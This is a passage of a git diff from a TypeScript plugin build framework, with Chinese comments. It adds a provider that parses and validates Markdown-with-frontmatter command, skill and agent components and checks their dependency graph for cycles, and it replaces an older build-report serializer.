runtimes: Object.freeze(runtimes), + extensions: Object.freeze(extensions), + platforms: Object.freeze(platforms), + packages: Object.freeze(packages), + compatibility: Object.freeze(compatibility), + metadata: Object.freeze(metadata), + diagnostics, + }, 'BuildReport') as unknown as BuildReport; +} + +/** + * 把 BuildReport 编码为固定键序和单尾随换行 JSON。 + * + * @param report 已建立边界的 Schema v2 report。 + * @returns 字节稳定 JSON 文本。 + */ +export function serializeBuildReport(report: BuildReport): string { + /** snapshotJson 同时拒绝 report 中意外出现的函数、bytes 或行为对象。 */ + return `${JSON.stringify(snapshotJson(report, 'BuildReport'), null, 2)}\n`; +} diff --git a/packages/core/src/reports.ts b/packages/core/src/reports.ts deleted file mode 100644 index 5d52ab8..0000000 --- a/packages/core/src/reports.ts +++ /dev/null @@ -1,117 +0,0 @@ -import { compareCodeUnits, stableJson } from './serialization.js'; -import { - redactReportValue, - sanitizeReportText, - sortCompatibility, - sortDiagnostics, - sortMetadataDispositions, - type ReportRedactionOptions, -} from './diagnostics.js'; -import type { - BuildCommand, - BuildResult, - CompatibilityEntry, - ComponentReport, - DeliveryUnitReport, - Diagnostic, - DocumentReport, - ExtensionReport, - MetadataDispositionEntry, - PlatformReport, -} from './types.js'; -import type { PlatformId } from './contracts.js'; - -/** 创建 Schema v1 BuildResult 所需的未排序内部输入。 */ -export interface BuildResultInput { - readonly command: BuildCommand; - readonly success: boolean; - readonly committed: boolean; - readonly platforms: readonly PlatformId[]; - readonly platformDetails: readonly PlatformReport[]; - readonly components: readonly ComponentReport[]; - readonly extensions: readonly ExtensionReport[]; - readonly documents: readonly DocumentReport[]; - readonly deliveryUnits: readonly DeliveryUnitReport[]; - readonly diagnostics: readonly Diagnostic[]; - readonly compatibility: readonly CompatibilityEntry[]; - readonly metadata: readonly MetadataDispositionEntry[]; -} - -/** - * 对单个 DeliveryUnitReport 清理文本并稳定排序 Artifact。 - * - * @param unit 尚未进入最终 BuildResult 的交付单元报告。 - * @param options 工程路径脱敏选项。 - * @returns 不含绝对路径和内容字节的确定性报告副本。 - */ -function normalizeDeliveryUnitReport( - unit: DeliveryUnitReport, - options: ReportRedactionOptions = {}, -): DeliveryUnitReport { - return { - ...unit, - id: sanitizeReportText(unit.id, options), - artifacts: unit.artifacts.map(artifact => ({ - ...artifact, - path: sanitizeReportText(artifact.path, options), - owner: sanitizeReportText(artifact.owner, options), - })).sort((a, b) => compareCodeUnits(a.path, b.path) || compareCodeUnits(a.owner, b.owner)), - }; -} - -/** - * 创建供 CLI、Watch 和公开运行时共同使用的确定性 Schema v1 BuildResult。 - * - * @param input 生命周期中按任意发现顺序收集的报告数据。 - * @param options 程序化结果也必须应用的工程路径脱敏边界。 - * @returns 已按所有稳定键排序且不包含时间戳的构建结果。 - */ -export function createBuildResult( - input: BuildResultInput, - options: ReportRedactionOptions = {}, -): BuildResult { - /** 去重并按字典序固定的 Platform ID 列表。 */ - const platforms = [...new Set(input.platforms)].sort(compareCodeUnits); - /** 按 Platform ID 排序的已验证 Platform 详情。 */ - const platformDetails = input.platformDetails.map(platform => ({ ...platform })).sort((left, right) => compareCodeUnits(left.id, right.id)); - /** 按种类和 ID 排序且不包含来源路径的已验证 Component 摘要。 */ - const components = input.components.map(component => ({ ...component })).sort((left, right) => compareCodeUnits(left.kind, right.kind) || compareCodeUnits(left.id, right.id)); - /** 按名称排序的已验证 Extension 摘要。 */ - const extensions = input.extensions.map(extension => ({ ...extension })).sort((left, right) => compareCodeUnits(left.name, right.name)); - /** 按 Platform、逻辑 ID 和路径排序的已验证相对 Document 摘要。 */ - const documents = input.documents.map(document => ({ ...document })).sort((left, right) => compareCodeUnits(left.platform, right.platform) - || compareCodeUnits(left.id, right.id) - || compareCodeUnits(left.path, right.path)); - /** 按 Platform、单元 ID、角色和类型排序的交付单元报告。 */ - const deliveryUnits = input.deliveryUnits.map(unit => normalizeDeliveryUnitReport(unit, options)).sort((a, b) => - compareCodeUnits(a.platform, b.platform) - || compareCodeUnits(a.id, b.id) - || compareCodeUnits(a.role, b.role) - || compareCodeUnits(a.type, b.type)); - return { - schemaVersion: '1', - command: input.command, - success: input.success, - committed: input.committed, - platforms, - platformDetails, - components, - extensions, - documents, - deliveryUnits, - diagnostics: sortDiagnostics(input.diagnostics, options), - compatibility: sortCompatibility(input.compatibility, options), - metadata: sortMetadataDispositions(input.metadata, options), - }; -} - -/** - * 把 BuildResult 深度脱敏并序列化为单个、字节稳定的 JSON 文档。 - * - * @param result 已完成结构化排序的 Schema v1 BuildResult。 - * @param options 需要额外隐藏的工程路径边界。 - * @returns 两空格缩进、单个尾随换行且键顺序稳定的 JSON。 - */ -export function serializeBuildResult(result: BuildResult, options: ReportRedactionOptions = {}): string { - return stableJson(redactReportValue(result, options)); -} diff --git a/packages/core/src/resources/canonical-provider.ts b/packages/core/src/resources/canonical-provider.ts new file mode 100644 index 0000000..6f9e203 --- /dev/null +++ b/packages/core/src/resources/canonical-provider.ts @@ -0,0 +1,680 @@ +import { parseDocument } from 'yaml'; +import type { + AgentCapability, + AgentComponent, + AgentModel, + CanonicalProject, + CommandComponent, + ComponentRequires, + JsonObject, + JsonValue, + PluginMetadata, + SkillComponent, + SourceDirectoryRef, + SourceEntry, +} from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; +import { compareCodePoints, safeRelativePath } from '../kernel/path-policy.js'; +import { SourceRegistry } from '../kernel/source-registry.js'; +import type { CanonicalResourceRoot, ResourceClaims } from './resource-registry.js'; + +/** Component ID 的规范格式。 */ +const COMPONENT_ID = /^[a-z0-9]+(?:-[a-z0-9]+)*$/u; + +/** Core 支持的平台中立 Agent model。 */ +const AGENT_MODELS = new Set(['inherit', 'fast', 'capable']); + +/** Core 支持的平台中立 Agent capability。 */ +const AGENT_CAPABILITIES = new Set([ + 'filesystem:read', 'filesystem:write', 'search', 'shell', 'network', 'delegate', +]); + +/** Markdown 主文件的统一中间形态。 */ +interface ParsedMarkdown { + readonly data: Readonly>; + readonly body: string; + readonly bodyLine: number; +} + +/** + * 提交绑定 canonical owner 的诊断。 + * + * @param diagnostics 当前 Session Registry。 + * @param code 稳定诊断码。 + * @param message 稳定信息。 + * @param location 工程相对路径。 + * @param fieldPath 可选字段路径。 + */ +function error( + diagnostics: DiagnosticRegistry, + code: string, + message: string, + location?: string, + fieldPath?: readonly (string | number)[], +): void { + diagnostics.report('discover', { + code, + severity: 'error', + message, + ...(location === undefined ? {} : { location: { path: location } }), + ...(fieldPath === undefined ? {} : { fieldPath }), + }, { owner: 'framework:canonical' }); +} + +/** + * 解析严格 UTF-8 + YAML Frontmatter Markdown。 + * + * @param sources canonical owner Source Service。 + * @param file Markdown SourceRef。 + * @param diagnostics 当前诊断集合。 + * @returns 合法 Frontmatter、正文和正文行。 + */ +async function parseMarkdown( + sources: ReturnType, + file: import('../kernel-types.js').SourceFileRef, + diagnostics: DiagnosticRegistry, +): Promise { + /** 文本读取失败统一转换为稳定 UTF-8 诊断。 */ + let source: string; + try { + source = await sources.readText(file); + } catch { + error(diagnostics, 'MARKDOWN_UTF8_INVALID', 'Markdown must be stable UTF-8 text.', file.path); + return undefined; + } + /** 保留行边界用于定位正文。 */ + const lines = source.split(/\r?\n/u); + if (lines[0] !== '---') { + error(diagnostics, 'FRONTMATTER_REQUIRED', 'Markdown requires a YAML Frontmatter block.', file.path); + return undefined; + } + /** closing 是 Frontmatter 结束分隔符的零基行索引。 */ + const closing = lines.findIndex((line, index) => index > 0 && line === '---'); + if (closing < 0) { + error(diagnostics, 'FRONTMATTER_UNTERMINATED', 'YAML Frontmatter is not terminated.', file.path); + return undefined; + } + /** YAML parser 必须拒绝重复键和非法语法。 */ + const document = parseDocument(lines.slice(1, closing).join('\n'), { prettyErrors: false, uniqueKeys: true }); + if (document.errors.length > 0) { + error(diagnostics, 'FRONTMATTER_INVALID', 'YAML Frontmatter is invalid.', file.path); + return undefined; + } + /** YAML AST 只在无 parser errors 后投影为普通值。 */ + const value = document.toJS() as unknown; + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + error(diagnostics, 'FRONTMATTER_OBJECT_REQUIRED', 'Frontmatter must be a mapping.', file.path); + return undefined; + } + /** 正文统一换行为 LF 并去除首尾空白。 */ + const body = lines.slice(closing + 1).join('\n').trim(); + if (body.length === 0) { + error(diagnostics, 'MARKDOWN_BODY_REQUIRED', 'Markdown body must not be empty.', file.path); + return undefined; + } + return Object.freeze({ data: value as Record, body, bodyLine: closing + 2 }); +} + +/** + * 拒绝 Frontmatter unknown/legacy fields。 + * + * @param data Frontmatter mapping。 + * @param allowed 当前 Component 白名单。 + * @param location Markdown 路径。 + * @param diagnostics 当前诊断集合。 + */ +function fields(data: Readonly>, allowed: readonly string[], location: string, diagnostics: DiagnosticRegistry): void { + /** Set 使每个 Frontmatter 字段只需常量时间查找。 */ + const accepted = new Set(allowed); + for (const field of Object.keys(data).sort()) { + if (field === 'extensions') { + error(diagnostics, 'COMPONENT_LEGACY_EXTENSIONS', 'Frontmatter extensions is not supported; use platforms.', location, [field]); + } else if (!accepted.has(field)) { + error(diagnostics, 'FRONTMATTER_FIELD_UNKNOWN', `Unknown Frontmatter field "${field}".`, location, [field]); + } + } +} + +/** + * 读取非空 string 字段。 + * + * @param data Frontmatter mapping。 + * @param field 字段名。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @param required 缺失时是否失败。 + * @returns 规范化 string 或 undefined。 + */ +function stringField( + data: Readonly>, + field: string, + location: string, + diagnostics: DiagnosticRegistry, + required = false, +): string | undefined { + /** 字段读取不执行额外 coercion。 */ + const value = data[field]; + if (value === undefined && !required) + return undefined; + if (typeof value !== 'string' || value.trim() === '') { + error(diagnostics, 'FRONTMATTER_STRING_REQUIRED', `${field} must be a non-empty string.`, location, [field]); + return undefined; + } + return value.trim(); +} + +/** + * 复制严格 string array。 + * + * @param value 未知数组值。 + * @param fieldPath 字段路径。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @returns 排除非 string 后的稳定数组。 + */ +function strings( + value: unknown, + fieldPath: readonly string[], + location: string, + diagnostics: DiagnosticRegistry, +): readonly string[] { + if (value === undefined) + return Object.freeze([]); + if (!Array.isArray(value) || value.some(item => typeof item !== 'string' || item.trim() === '')) { + error(diagnostics, 'FRONTMATTER_STRING_ARRAY', `${fieldPath.join('.')} must be an array of non-empty strings.`, location, fieldPath); + return Object.freeze([]); + } + /** 复制数组,避免 YAML 容器身份进入 Project Graph。 */ + const result = [...value] as string[]; + if (new Set(result).size !== result.length) + error(diagnostics, 'FRONTMATTER_ARRAY_DUPLICATE', `${fieldPath.join('.')} must not contain duplicates.`, location, fieldPath); + return Object.freeze(result); +} + +/** + * 解析 canonical dependency 声明。 + * + * @param value requires Frontmatter 值。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @returns 始终包含 skills/agents 的不可变依赖。 + */ +function requires(value: unknown, location: string, diagnostics: DiagnosticRegistry): ComponentRequires { + if (value === undefined) + return Object.freeze({ skills: Object.freeze([]), agents: Object.freeze([]) }); + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + error(diagnostics, 'COMPONENT_REQUIRES_INVALID', 'requires must be a mapping.', location, ['requires']); + return Object.freeze({ skills: Object.freeze([]), agents: Object.freeze([]) }); + } + /** YAML 映射的普通字段。 */ + const object = value as Record; + for (const field of Object.keys(object)) { + if (field !== 'skills' && field !== 'agents') + error(diagnostics, 'COMPONENT_REQUIRES_KIND', `requires.${field} is not supported.`, location, ['requires', field]); + } + /** 两种可引用 Component 类型分别解析并保留声明顺序。 */ + const skills = strings(object.skills, ['requires', 'skills'], location, diagnostics); + /** Agent dependencies 与 Skill dependencies 使用相同 ID 规则。 */ + const agents = strings(object.agents, ['requires', 'agents'], location, diagnostics); + for (const [kind, ids] of [['skills', skills], ['agents', agents]] as const) { + for (const [index, id] of ids.entries()) { + if (!COMPONENT_ID.test(id)) + error(diagnostics, 'COMPONENT_REQUIRES_ID_INVALID', `requires.${kind} contains an invalid Component ID.`, location, ['requires', kind, index]); + } + } + return Object.freeze({ skills, agents }); +} + +/** + * 递归复制 YAML value 为严格 JSON。 + * + * @param value 当前值。 + * @param path 字段路径。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @param ancestors 当前递归祖先。 + * @returns JSON snapshot 或 undefined。 + */ +function jsonValue( + value: unknown, + path: readonly string[], + location: string, + diagnostics: DiagnosticRegistry, + ancestors = new Set(), +): JsonValue | undefined { + if (value === null || typeof value === 'string' || typeof value === 'boolean') + return value; + if (typeof value === 'number') { + if (Number.isFinite(value)) + return value; + error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must contain finite JSON values.', location, path); + return undefined; + } + if (typeof value !== 'object') { + error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must contain JSON values.', location, path); + return undefined; + } + if (ancestors.has(value)) { + error(diagnostics, 'COMPONENT_PLATFORM_JSON_CYCLE', 'Platform metadata must not contain cycles.', location, path); + return undefined; + } + ancestors.add(value); + try { + if (Array.isArray(value)) { + /** JSON array 使用新容器逐项规范化。 */ + const result: JsonValue[] = []; + for (const [index, item] of value.entries()) { + /** index 加入字段路径以生成精确诊断。 */ + const normalized = jsonValue(item, [...path, String(index)], location, diagnostics, ancestors); + if (normalized === undefined) + return undefined; + result.push(normalized); + } + return Object.freeze(result); + } + if (Object.getPrototypeOf(value) !== Object.prototype && Object.getPrototypeOf(value) !== null) { + error(diagnostics, 'COMPONENT_PLATFORM_JSON_INVALID', 'Platform metadata must use plain mappings.', location, path); + return undefined; + } + /** JSON object 使用冻结的新 data-property 容器。 */ + const result: Record = {}; + for (const field of Object.keys(value).sort()) { + /** 字段按稳定键序递归复制。 */ + const normalized = jsonValue((value as Record)[field], [...path, field], location, diagnostics, ancestors); + if (normalized === undefined) + return undefined; + Object.defineProperty(result, field, { value: normalized, enumerable: true, configurable: false, writable: false }); + } + return Object.freeze(result); + } finally { + ancestors.delete(value); + } +} + +/** + * 解析 Component 的 configured Platform 专属 JSON。 + * + * @param value platforms Frontmatter 值。 + * @param configured 已配置 Platform ID。 + * @param location 文件路径。 + * @param diagnostics 当前诊断集合。 + * @returns 仅保留已配置平台的冻结 JSON object map。 + */ +function platforms( + value: unknown, + configured: ReadonlySet, + location: string, + diagnostics: DiagnosticRegistry, +): Readonly>> { + if (value === undefined) + return Object.freeze({}); + if (typeof value !== 'object' || value === null || Array.isArray(value)) { + error(diagnostics, 'COMPONENT_PLATFORMS_INVALID', 'platforms must be a mapping.', location, ['platforms']); + return Object.freeze({}); + } + /** 只保留当前配置中实际存在的 Platform namespace。 */ + const result: Record> = {}; + for (const id of Object.keys(value).sort()) { + if (!configured.has(id)) { + error(diagnostics, 'COMPONENT_PLATFORM_NOT_CONFIGURED', `Component declares unconfigured Platform "${id}".`, location, ['platforms', id]); + continue; + } + /** Platform fields 只能是严格 JSON mapping。 */ + const normalized = jsonValue((value as Record)[id], ['platforms', id], location, diagnostics); + if (normalized === undefined || normalized === null || typeof normalized !== 'object' || Array.isArray(normalized)) { + error(diagnostics, 'COMPONENT_PLATFORM_FIELDS_INVALID', `platforms.${id} must be a JSON mapping.`, location, ['platforms', id]); + continue; + } + result[id] = normalized as Readonly; + } + return Object.freeze(result); +} + +/** @returns Resource root 的直接 entries;缺失 root 返回空集合。 */ +async function rootEntries( + root: SourceDirectoryRef | undefined, + sources: ReturnType, +): Promise { + return root === undefined ? Object.freeze([]) : sources.list(root); +} + +/** @returns entry 的 Component ID 是否有效,并在失败时报告。 */ +function componentId(id: string, location: string, diagnostics: DiagnosticRegistry): boolean { + if (COMPONENT_ID.test(id)) + return true; + error(diagnostics, 'COMPONENT_ID_INVALID', `Component ID "${id}" must use lowercase kebab-case.`, location); + return false; +} + +/** + * 扫描 Command root。 + * + * @param root 可选 commands root。 + * @param sources canonical Source Service。 + * @param configured 配置 Platform IDs。 + * @param diagnostics 当前诊断集合。 + * @returns 有效 Commands。 + */ +async function commands( + root: SourceDirectoryRef | undefined, + sources: ReturnType, + configured: ReadonlySet, + diagnostics: DiagnosticRegistry, +): Promise { + /** 扫描结果在完成后按 ID 排序并冻结。 */ + const result: CommandComponent[] = []; + for (const entry of await rootEntries(root, sources)) { + if (entry.type !== 'file' || !entry.name.endsWith('.md')) { + error(diagnostics, 'COMMAND_ENTRY_INVALID', 'Commands must be one-level .md files.', entry.path); + continue; + } + /** Command ID 来自精确 .md 文件名。 */ + const id = entry.name.slice(0, -3); + if (!componentId(id, entry.path, diagnostics)) + continue; + /** Markdown parsing 只使用当前 owner 的 SourceRef。 */ + const markdown = await parseMarkdown(sources, entry.file, diagnostics); + if (markdown === undefined) + continue; + fields(markdown.data, ['description', 'argumentHint', 'requires', 'platforms'], entry.path, diagnostics); + /** description 是所有 canonical Component 的必填字段。 */ + const description = stringField(markdown.data, 'description', entry.path, diagnostics, true); + if (description === undefined) + continue; + for (const placeholder of markdown.body.match(/\{\{[^{}]*\}\}/gu) ?? []) { + if (placeholder !== '{{arguments}}') + error(diagnostics, 'COMMAND_PLACEHOLDER_INVALID', `Unsupported Command placeholder "${placeholder}".`, entry.path); + } + /** argumentHint 保持可选且不解释平台语义。 */ + const argumentHint = stringField(markdown.data, 'argumentHint', entry.path, diagnostics); + result.push(Object.freeze({ + kind: 'command', + id, + description, + ...(argumentHint === undefined ? {} : { argumentHint }), + body: markdown.body, + location: Object.freeze({ path: entry.path, bodyLine: markdown.bodyLine }), + requires: requires(markdown.data.requires, entry.path, diagnostics), + platforms: platforms(markdown.data.platforms, configured, entry.path, diagnostics), + })); + } + return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); +} + +/** + * 扫描 Skill root 和辅助资源。 + * + * @param root 可选 skills root。 + * @param sources canonical Source Service。 + * @param assets canonical Asset Service。 + * @param configured 配置 Platform IDs。 + * @param diagnostics 当前诊断集合。 + * @returns 有效 Skills。 + */ +async function skills( + root: SourceDirectoryRef | undefined, + sources: ReturnType, + assets: ReturnType, + configured: ReadonlySet, + diagnostics: DiagnosticRegistry, +): Promise { + /** Skill 结果在所有辅助资源完成签发后统一冻结。 */ + const result: SkillComponent[] = []; + for (const entry of await rootEntries(root, sources)) { + if (entry.type !== 'directory') { + error(diagnostics, 'SKILL_ENTRY_INVALID', 'Skills must be one-level directories.', entry.path); + continue; + } + if (!componentId(entry.name, entry.path, diagnostics)) + continue; + /** 每个 Skill 必须拥有精确名称的主 Markdown 文件。 */ + let skillFile: import('../kernel-types.js').SourceFileRef; + try { + skillFile = await sources.file(entry.directory, 'SKILL.md'); + } catch { + error(diagnostics, 'SKILL_FILE_REQUIRED', 'Skill directory must contain SKILL.md.', entry.path); + continue; + } + /** Skill 主文件沿用 canonical Markdown 解析边界。 */ + const markdown = await parseMarkdown(sources, skillFile, diagnostics); + if (markdown === undefined) + continue; + fields(markdown.data, ['description', 'invocation', 'requires', 'platforms'], skillFile.path, diagnostics); + /** description 缺失时不能产生不完整 Skill。 */ + const description = stringField(markdown.data, 'description', skillFile.path, diagnostics, true); + if (description === undefined) + continue; + /** Skill 默认允许用户显式调用。 */ + let user = true; + /** Skill 默认也允许模型自动选择。 */ + let model = true; + if (markdown.data.invocation !== undefined) { + /** invocation 保留平台中立的两个布尔维度。 */ + const invocation = markdown.data.invocation; + if (typeof invocation !== 'object' || invocation === null || Array.isArray(invocation)) { + error(diagnostics, 'SKILL_INVOCATION_INVALID', 'invocation must be a mapping.', skillFile.path, ['invocation']); + } else { + for (const field of Object.keys(invocation)) { + if (field !== 'user' && field !== 'model') + error(diagnostics, 'SKILL_INVOCATION_FIELD', `Unknown invocation field "${field}".`, skillFile.path, ['invocation', field]); + } + /** invocationUser 只接受显式布尔值。 */ + const invocationUser = (invocation as Record).user; + if (typeof invocationUser === 'boolean') + user = invocationUser; + else if ((invocation as Record).user !== undefined) + error(diagnostics, 'SKILL_INVOCATION_BOOLEAN', 'invocation.user must be boolean.', skillFile.path, ['invocation', 'user']); + /** invocationModel 使用与 user 相同的严格布尔边界。 */ + const invocationModel = (invocation as Record).model; + if (typeof invocationModel === 'boolean') + model = invocationModel; + else if ((invocation as Record).model !== undefined) + error(diagnostics, 'SKILL_INVOCATION_BOOLEAN', 'invocation.model must be boolean.', skillFile.path, ['invocation', 'model']); + } + } + if (!user && !model) + error(diagnostics, 'SKILL_INVOCATION_EMPTY', 'invocation.user and invocation.model cannot both be false.', skillFile.path, ['invocation']); + /** 递归枚举后只把普通辅助文件签发为 SourceAsset。 */ + const auxiliary = [] as { path: string; asset: import('../kernel-types.js').SourceAssetRef }[]; + for (const child of await sources.list(entry.directory, { recursive: true })) { + if (child.type !== 'file' || child.path === skillFile.path) + continue; + /** 辅助资源路径相对 Skill 根而不是项目根。 */ + const relative = child.path.slice(`${entry.path}/`.length); + auxiliary.push(Object.freeze({ path: safeRelativePath(relative), asset: await assets.fromSource(child.file) })); + } + auxiliary.sort((left, right) => compareCodePoints(left.path, right.path)); + result.push(Object.freeze({ + kind: 'skill', + id: entry.name, + description, + invocation: Object.freeze({ user, model }), + body: markdown.body, + location: Object.freeze({ path: skillFile.path, bodyLine: markdown.bodyLine }), + requires: requires(markdown.data.requires, skillFile.path, diagnostics), + platforms: platforms(markdown.data.platforms, configured, skillFile.path, diagnostics), + auxiliaryFiles: Object.freeze(auxiliary), + })); + } + return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); +} + +/** + * 扫描 Agent root。 + * + * @param root 可选 agents root。 + * @param sources canonical Source Service。 + * @param configured 配置 Platform IDs。 + * @param diagnostics 当前诊断集合。 + * @returns 有效 Agents。 + */ +async function agents( + root: SourceDirectoryRef | undefined, + sources: ReturnType, + configured: ReadonlySet, + diagnostics: DiagnosticRegistry, +): Promise { + /** Agent 结果不携带任何平台物理输出信息。 */ + const result: AgentComponent[] = []; + for (const entry of await rootEntries(root, sources)) { + if (entry.type !== 'file' || !entry.name.endsWith('.md')) { + error(diagnostics, 'AGENT_ENTRY_INVALID', 'Agents must be one-level .md files.', entry.path); + continue; + } + /** Agent ID 来自精确 .md 文件名。 */ + const id = entry.name.slice(0, -3); + if (!componentId(id, entry.path, diagnostics)) + continue; + /** Agent 主文件使用相同严格 Frontmatter parser。 */ + const markdown = await parseMarkdown(sources, entry.file, diagnostics); + if (markdown === undefined) + continue; + fields(markdown.data, ['description', 'model', 'capabilities', 'requires', 'platforms'], entry.path, diagnostics); + /** description 缺失时不创建 Agent。 */ + const description = stringField(markdown.data, 'description', entry.path, diagnostics, true); + if (description === undefined) + continue; + /** 未配置模型时保持跨平台的 inherit 语义。 */ + const rawModel = markdown.data.model ?? 'inherit'; + /** 非法模型回退用于继续收集诊断,但错误会阻止构建。 */ + const model: AgentModel = typeof rawModel === 'string' && AGENT_MODELS.has(rawModel as AgentModel) ? rawModel as AgentModel : 'inherit'; + if (model !== rawModel) + error(diagnostics, 'AGENT_MODEL_INVALID', 'model must be inherit, fast, or capable.', entry.path, ['model']); + /** capability 只保留 Core 定义的平台中立集合。 */ + const capabilities = strings(markdown.data.capabilities, ['capabilities'], entry.path, diagnostics) + .filter((capability): capability is AgentCapability => { + if (AGENT_CAPABILITIES.has(capability as AgentCapability)) + return true; + error(diagnostics, 'AGENT_CAPABILITY_INVALID', `Unknown capability "${capability}".`, entry.path, ['capabilities']); + return false; + }); + result.push(Object.freeze({ + kind: 'agent', + id, + description, + model, + capabilities: Object.freeze(capabilities), + body: markdown.body, + location: Object.freeze({ path: entry.path, bodyLine: markdown.bodyLine }), + requires: requires(markdown.data.requires, entry.path, diagnostics), + platforms: platforms(markdown.data.platforms, configured, entry.path, diagnostics), + })); + } + return Object.freeze(result.sort((left, right) => compareCodePoints(left.id, right.id))); +} + +/** + * 校验跨 Command/Skill/Agent 的依赖图。 + * + * @param components 完整 canonical Component 集。 + * @param diagnostics 当前诊断集合。 + */ +function validateGraph( + components: readonly (CommandComponent | SkillComponent | AgentComponent)[], + diagnostics: DiagnosticRegistry, +): void { + /** kind+id 是允许不同 Component 类型同名的图键。 */ + const key = (kind: string, id: string): string => `${kind}:${id}`; + /** 完整 Component 索引用于检查引用存在性。 */ + const byKey = new Map(components.map(component => [key(component.kind, component.id), component])); + /** 只记录通过存在性和自引用检查的有向边。 */ + const edges = new Map(); + for (const component of components) { + /** 当前 Component 的唯一图节点键。 */ + const from = key(component.kind, component.id); + /** Command/Skill/Agent 统一投影为可引用 Skill/Agent 目标。 */ + const targets = [ + ...component.requires.skills.map(id => key('skill', id)), + ...component.requires.agents.map(id => key('agent', id)), + ]; + /** 合法边按目标键稳定排序后进入 DFS。 */ + const valid: string[] = []; + for (const target of targets) { + if (target === from) { + diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_SELF', severity: 'error', message: `${from} cannot require itself.`, location: { path: component.location.path } }, { owner: 'framework:canonical', component: { kind: component.kind, id: component.id } }); + } else if (!byKey.has(target)) { + diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_MISSING', severity: 'error', message: `${from} requires missing ${target}.`, location: { path: component.location.path } }, { owner: 'framework:canonical', component: { kind: component.kind, id: component.id } }); + } else { + valid.push(target); + } + } + edges.set(from, valid.sort(compareCodePoints)); + } + /** visiting 表示当前 DFS 路径上的灰色节点。 */ + const visiting = new Set(); + /** visited 表示已经完成验证的黑色节点。 */ + const visited = new Set(); + /** stack 保留完整循环路径用于稳定诊断。 */ + const stack: string[] = []; + /** reported 避免同一环路从多个入口重复报告。 */ + const reported = new Set(); + /** 深度优先遍历检测依赖图中的回边。 */ + const visit = (node: string): void => { + if (visited.has(node)) + return; + if (visiting.has(node)) { + /** 回边闭合为包含首尾节点的完整可读路径。 */ + const cycle = [...stack.slice(stack.indexOf(node)), node].join(' -> '); + if (!reported.has(cycle)) { + diagnostics.report('validate', { code: 'COMPONENT_DEPENDENCY_CYCLE', severity: 'error', message: `Dependency cycle: ${cycle}.` }, { owner: 'framework:canonical' }); + reported.add(cycle); + } + return; + } + visiting.add(node); + stack.push(node); + for (const target of edges.get(node) ?? []) + visit(target); + stack.pop(); + visiting.delete(node); + visited.add(node); + }; + for (const node of [...byKey.keys()].sort(compareCodePoints)) + visit(node); +} + +/** Canonical Provider 的 Session registries。 */ +export interface CanonicalProviderOptions { + readonly metadata: Readonly; + readonly platformIds: readonly string[]; + readonly claims: ResourceClaims; + readonly sources: SourceRegistry; + readonly assets: AssetRegistry; + readonly diagnostics: DiagnosticRegistry; +} + +/** + * 发现并验证 Canonical Component graph。 + * + * Public 和 Runtime 由各自 Provider 合并,因此这里先返回空 publicFiles。 + * + * @param options 当前 BuildSession registries 与 claims。 + * @returns 不含物理路径的不可变 canonical project。 + */ +export async function discoverCanonicalProject(options: CanonicalProviderOptions): Promise { + /** canonical Source capability 固定绑定 Framework owner。 */ + const sourceService = options.sources.service('framework:canonical'); + /** Skill auxiliary Asset 同样保留 canonical issuer。 */ + const assetService = options.assets.service('framework:canonical'); + /** configured Set 只用于拒绝未安装 Platform namespace。 */ + const configured = new Set(options.platformIds); + /** 三类互相独立的来源并行扫描,最终诊断由 Registry 排序。 */ + const [discoveredCommands, discoveredSkills, discoveredAgents] = await Promise.all([ + commands(options.claims.canonical.commands, sourceService, configured, options.diagnostics), + skills(options.claims.canonical.skills, sourceService, assetService, configured, options.diagnostics), + agents(options.claims.canonical.agents, sourceService, configured, options.diagnostics), + ]); + validateGraph([...discoveredCommands, ...discoveredSkills, ...discoveredAgents], options.diagnostics); + return Object.freeze({ + metadata: options.metadata, + commands: discoveredCommands, + skills: discoveredSkills, + agents: discoveredAgents, + publicFiles: Object.freeze([]), + }); +} + +/** Framework canonical root names的 compile-time exhaustiveness guard。 */ +const _canonicalRoots: readonly CanonicalResourceRoot[] = ['commands', 'skills', 'agents']; +void _canonicalRoots; diff --git a/packages/core/src/resources/extension-provider.ts b/packages/core/src/resources/extension-provider.ts new file mode 100644 index 0000000..949f9ca --- /dev/null +++ b/packages/core/src/resources/extension-provider.ts @@ -0,0 +1,366 @@ +import type { + AcpluginExtension, + CanonicalProject, + ExtensionSession, + ExtensionSubject, + CompilerService, + ExecutionService, + ModuleService, + PlatformContributor, + PlatformIntegrationDescription, + PlatformBasePackageSnapshot, + PackageContribution, + SourceDirectoryRef, +} from '../kernel-types.js'; +import { AssetRegistry } from '../kernel/asset-registry.js'; +import { dataArrayItems, dataObjectFields } from '../kernel/data-boundary.js'; +import { DiagnosticRegistry } from '../kernel/diagnostic-registry.js'; +import { snapshotExtensionState } from '../kernel/extension-state.js'; +import { compareCodePoints } from '../kernel/path-policy.js'; +import { SourceRegistry } from '../kernel/source-registry.js'; + +/** Extension discover 完成后的 owner-bound State。 */ +export interface DiscoveredExtensionState { + readonly extension: AcpluginExtension; + readonly state: Readonly; +} + +/** Extension validate 完成后的 owner-bound State 与兼容主题。 */ +export interface ValidatedExtensionState { + readonly extension: AcpluginExtension; + readonly state: Readonly; + readonly subjects: readonly ExtensionSubject[]; +} + +/** 一个选中 Platform 对当前 Extension 的 Contributor 匹配结果。 */ +export interface ExtensionConsumer { + readonly platform: PlatformIntegrationDescription; + readonly contributor?: PlatformContributor; +} + +/** validate 后、build 前固定的 Extension consumer 计划。 */ +export interface ExtensionConsumerPlan { + readonly extension: AcpluginExtension; + readonly validated: Readonly; + readonly subjects: readonly ExtensionSubject[]; + readonly consumers: readonly ExtensionConsumer[]; + readonly requiresBuild: boolean; +} + +/** Extension build 完成后可并行交给全部 Contributor 的 State。 */ +export interface BuiltExtensionState { + readonly extension: AcpluginExtension; + readonly state: Readonly; + readonly subjects: readonly ExtensionSubject[]; +} + +/** + * 验证 subject/capability 